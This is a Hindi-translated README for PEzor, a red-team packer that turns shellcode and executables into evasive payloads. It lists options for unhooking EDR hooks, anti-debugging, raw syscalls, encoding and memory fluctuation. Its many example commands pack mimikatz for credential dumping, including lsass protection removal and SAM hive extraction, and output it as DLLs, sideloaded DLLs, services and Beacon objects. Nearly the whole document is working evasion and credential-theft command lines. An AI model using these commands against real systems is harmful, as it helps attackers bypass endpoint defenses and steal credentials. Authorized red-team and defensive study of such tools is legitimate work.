
शेलकोड और PE एक्जीक्यूटेबल को एंटी-डिबग, अनहुकिंग, सिस्कॉल और मेमोरी फ्लक्चुएशन तकनीकों के साथ एवेसिव पेलोड में पैक करें, रेड-टीम ऑपरेशन के लिए।
ब्लॉग पोस्ट यहाँ पढ़ें:
________________
< PEzor!! v3.3.0 >
----------------
\ / \ //\
\ |\___/| / \// \\
/0 0 \__ / // | \ \
/ / \/_/ // | \ \
@_^_@'/ \/_ // | \ \
//_^_/ \/_ // | \ \
( //) | \/// | \ \
( / /) _|_ / ) // | \ _\
( // /) '/,_ _ _/ ( ; -. | _ _\.-~ .-~~~^-.
(( / / )) ,-{ _ `-.|.-~-. .~ `.
(( // / )) '/\ / ~-. _ .-~ .-~^-. \
(( /// )) `. { } / \ \
(( / )) .----~-.\ \-' .~ \ `. \^-.
///.----..> \ _ -~ `. ^-` ^-_
///-._ _ _ _ _ _ _}^ - - - - ~ ~-- ,.-~
/.-~
---------------------------------------------------------------------------
install.sh एक Kali Linux वितरण पर काम करने के लिए डिज़ाइन किया गया है।
$ git clone https://github.com/phra/PEzor.git
$ cd PEzor
$ sudo bash install.sh
$ bash PEzor.sh -h
PATH वेरिएबल को Donut के एक विशिष्ट कमिट का उपयोग करने के लिए अपडेट करना होगा! अपडेटेड install.sh स्क्रिप्ट देखें।
PEzor सहायताPEzor के लिए सहायता प्रदर्शित करें
USAGE
$ PEzor help
PEzor <EXECUTABLE>प्रदान की गई निष्पादन योग्य फ़ाइल को एक नई फ़ाइल में पैक करें
OPTIONS
-h उपयोग दिखाएँ और बाहर निकलें
-32 32-बिट निष्पादन योग्य बल दें
-64 64-बिट निष्पादन योग्य बल दें
-debug डीबग बिल्ड उत्पन्न करें
-unhook उपयोगकर्ता-स्तरीय हुक हटाएँ
-antidebug एंटी-डीबग जाँच जोड़ें
-syscalls रॉ सिस्कॉल का उपयोग करें [केवल 64-बिट] [केवल Windows 10]
-sgn उत्पन्न शेलकोड को sgn से एनकोड करें
-text शेलकोड को .data के बजाय .text सेक्शन में संग्रहीत करें
-rx शेलकोड के लिए RX मेमोरी आवंटित करें
-self शेलकोड को उसी थ्रेड में निष्पादित करें
-sdk=VERSION निर्दिष्ट .NET Framework संस्करण का उपयोग करें (2, 4, 4.5 (डिफ़ॉल्ट))
-cleanup आवंटित पेलोड और लोड किए गए मॉड्यूल का सफ़ाई करें (केवल BOFs के लिए)
-sleep=N शेलकोड को अनपैक करने से पहले N सेकंड प्रतीक्षा करें
-format=FORMAT परिणाम निर्दिष्ट FORMAT में आउटपुट करें (exe, dll, reflective-dll, service-exe, service-dll, dotnet, dotnet-createsection, dotnet-pinvoke)
-fluctuate=PROTECTION Sleep() को हुक करके मेमोरी क्षेत्र को PROTECTION (RW या NA) में परिवर्तित करें
-xorkey=KEY पेलोड को सरल मल्टीबाइट XOR से एन्क्रिप्ट करें, यह रनटाइम पर GetComputerNameExA(ComputerNameDnsFullyQualified) का उपयोग करके कुंजी प्राप्त करता है
[donut args...] पैक करने के लिए निष्पादन योग्य के बाद, आप अतिरिक्त Donut आर्ग पास कर सकते हैं, जैसे -z 2
EXAMPLES
# 64-बिट (स्व-इंजेक्ट RWX)
$ PEzor.sh -unhook -antidebug -text -self -sleep=120 mimikatz/x64/mimikatz.exe -z 2
# 64-बिट (स्व-इंजेक्ट RX)
$ PEzor.sh -unhook -antidebug -text -self -rx -sleep=120 mimikatz/x64/mimikatz.exe -z 2
# 64-बिट (रॉ सिस्कॉल)
$ PEzor.sh -sgn -unhook -antidebug -text -syscalls -sleep=120 mimikatz/x64/mimikatz.exe -z 2
# 64-बिट (नींद के दौरान READWRITE में परिवर्तन)
$ PEzor.sh -fluctuate=RW -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -p '"coffee" "sleep 5000" "coffee" "exit"'
# 64-बिट (नींद के दौरान NOACCESS में परिवर्तन)
$ PEzor.sh -fluctuate=NA -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -p '"coffee" "sleep 5000" "coffee" "exit"'
# 64-बिट (GetComputerNameExA के साथ पर्यावरणीय कुंजी का उपयोग)
$ PEzor.sh -xorkey=MY-FQDN-COMPUTER-NAME -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -p '"coffee" "sleep 5000" "coffee" "exit"'
# 64-बिट (PE हेडर को मेमोरी में रखकर संसाधनों वाले EXEs का समर्थन)
$ PEzor.sh -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -k 2 -p '"!+" "!processprotect" "/process:lsass.exe" "/remove" "!-" "exit"'
# 64-बिट (बीकन ऑब्जेक्ट फ़ाइल)
$ PEzor.sh -format=bof mimikatz/x64/mimikatz.exe -z 2 -p '"log c:\users\public\mimi.out" "token::whoami" "exit"'
# 64-बिट (सफ़ाई सहित बीकन ऑब्जेक्ट फ़ाइल)
$ PEzor.sh -format=bof -cleanup mimikatz/x64/mimikatz.exe -z 2 -p '"log c:\users\public\mimi.out" "token::whoami" "exit"'
# 64-बिट (dll)
$ PEzor.sh -format=dll mimikatz/x64/mimikatz.exe -z 2 -p '\"log c:\users\public\mimi.out\" \"token::whoami\" \"exit\"'
# 64-बिट (dll साइडलोड)
$ PEzor.sh -format=dll -dll-sideload=version.dll mimikatz/x64/mimikatz.exe -z 2 -p '\"log c:\users\public\mimi.out\" \"token::whoami\" \"exit\"'
# 64-बिट (रिफ्लेक्टिव dll)
$ PEzor.sh -format=reflective-dll mimikatz/x64/mimikatz.exe -z 2 -p '"log c:\users\public\mimi.out" "token::whoami" "exit"'
# 64-बिट (सर्विस exe)
$ PEzor.sh -format=service-exe mimikatz/x64/mimikatz.exe -z 2 -p '"log c:\users\public\mimi.out" "token::whoami" "exit"'
# 64-बिट (सर्विस dll)
$ PEzor.sh -format=service-dll mimikatz/x64/mimikatz.exe -z 2 -p '"log c:\users\public\mimi.out" "token::whoami" "exit"'
# 64-बिट (dotnet)
$ PEzor.sh -format=dotnet -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -p '"log c:\users\public\mimi.out" "token::whoami" "exit"'
# 64-बिट (dotnet-pinvoke)
$ PEzor.sh -format=dotnet-pinvoke -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -p '"log c:\users\public\mimi.out" "token::whoami" "exit"'
# 64-बिट (dotnet-createsection)
$ PEzor.sh -format=dotnet-createsection -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -p '"log c:\users\public\mimi.out" "token::whoami" "exit"'
# 32-बिट (स्व-इंजेक्ट)
$ PEzor.sh -unhook -antidebug -text -self -sleep=120 mimikatz/Win32/mimikatz.exe -z 2
# 32-बिट (Win32 API: VirtualAlloc/WriteProcessMemory/CreateRemoteThread)
$ PEzor.sh -sgn -unhook -antidebug -text -sleep=120 mimikatz/Win32/mimikatz.exe -z 2
# 32-बिट (Win32 API: VirtualAlloc/WriteProcessMemory/CreateRemoteThread) और donut के लिए आर्गुमेंट
$ PEzor.sh -sgn -unhook -antidebug -text -sleep=120 mimikatz/Win32/mimikatz.exe -z 2 "-plsadump::sam /system:SystemBkup.hiv /sam:SamBkup.hiv"
PEzor <SHELLCODE>प्रदान किए गए शेलकोड को एक निष्पादन योग्य फ़ाइल में पैक करें
USAGE
$ PEzor <-32|-64> [options...] <SHELLCODE>
OPTIONS
-h उपयोग दिखाएँ और बाहर निकलें
-32 32-बिट निष्पादन योग्य बल दें
-64 64-बिट निष्पादन योग्य बल दें
-debug डीबग बिल्ड उत्पन्न करें
-unhook उपयोगकर्ता-स्तरीय हुक हटाएँ
-antidebug एंटी-डीबग जाँच जोड़ें
-shellcode शेलकोड पहचान बल दें
-syscalls रॉ सिस्कॉल का उपयोग करें [केवल 64-बिट] [केवल Windows 10]
-sgn प्रदान किए गए शेलकोड को sgn से एनकोड करें
-text शेलकोड को .data के बजाय .text सेक्शन में संग्रहीत करें
-rx शेलकोड के लिए RX मेमोरी आवंटित करें
-self शेलकोड को उसी थ्रेड में निष्पादित करें [RX शेलकोड की आवश्यकता है, -sgn के साथ संगत नहीं]
-cleanup आवंटित पेलोड और लोड किए गए मॉड्यूल का सफ़ाई करें (केवल BOFs के लिए)
-sleep=N शेलकोड को अनपैक करने से पहले N सेकंड प्रतीक्षा करें
-format=FORMAT परिणाम निर्दिष्ट FORMAT में आउटपुट करें (exe, dll, reflective-dll, service-exe, service-dll, dotnet, dotnet-createsection, dotnet-pinvoke)
-fluctuate=PROTECTION Sleep() को हुक करके मेमोरी क्षेत्र को PROTECTION (RW या NA) में परिवर्तित करें
-xorkey=KEY पेलोड को सरल मल्टीबाइट XOR से एन्क्रिप्ट करें, यह रनटाइम पर GetComputerNameExA(ComputerNameDnsFullyQualified) का उपयोग करके कुंजी प्राप्त करता है
EXAMPLES
# 64-बिट (स्व-इंजेक्ट RWX)
$ PEzor.sh shellcode.bin
# 64-बिट (स्व-इंजेक्ट RX)
$ PEzor.sh -unhook -antidebug -text -self -rx -sleep=120 shellcode.bin
# 64-बिट (स्व-इंजेक्ट)
$ PEzor.sh -unhook -antidebug -text -self -sleep=120 shellcode.bin
# 64-बिट (रॉ सिस्कॉल)
$ PEzor.sh -sgn -unhook -antidebug -text -syscalls -sleep=120 shellcode.bin
# 64-बिट (नींद के दौरान READWRITE में परिवर्तन)
$ PEzor.sh -fluctuate=RW shellcode.bin
# 64-बिट (नींद के दौरान NOACCESS में परिवर्तन)
$ PEzor.sh -fluctuate=NA shellcode.bin
# 64-बिट (GetComputerNameExA के साथ पर्यावरणीय कुंजी का उपयोग)
$ PEzor.sh -xorkey=MY-FQDN-MACHINE-NAME shellcode.bin
# 64-बिट (बीकन ऑब्जेक्ट फ़ाइल)
$ PEzor.sh -format=bof shellcode.bin
# 64-बिट (सफ़ाई सहित बीकन ऑब्जेक्ट फ़ाइल)
$ PEzor.sh -format=bof -cleanup shellcode.bin
# 64-बिट (dll)
$ PEzor.sh -format=dll shellcode.bin
# 64-बिट (dll साइडलोड)
$ PEzor.sh -format=dll -dll-sideload=version.dll shellcode.bin
# 64-बिट (रिफ्लेक्टिव dll)
$ PEzor.sh -format=reflective-dll shellcode.bin
# 64-बिट (सर्विस exe)
$ PEzor.sh -format=service-exe shellcode.bin
# 64-बिट (सर्विस dll)
$ PEzor.sh -format=service-dll shellcode.bin
# 64-बिट (dotnet)
$ PEzor.sh -format=dotnet shellcode.bin
# 64-बिट (dotnet-pinvoke)
$ PEzor.sh -format=dotnet-pinvoke shellcode.bin
# 64-बिट (dotnet-createsection)
$ PEzor.sh -format=dotnet-createsection shellcode.bin
# 32-बिट (स्व-इंजेक्ट)
$ PEzor.sh -unhook -antidebug -text -self -sleep=120 shellcode.bin
# 32-बिट (Win32 API: VirtualAlloc/WriteProcessMemory/CreateRemoteThread)
$ PEzor.sh -sgn -unhook -antidebug -text -sleep=120 shellcode.bin
कोड देखें: PEzor.sh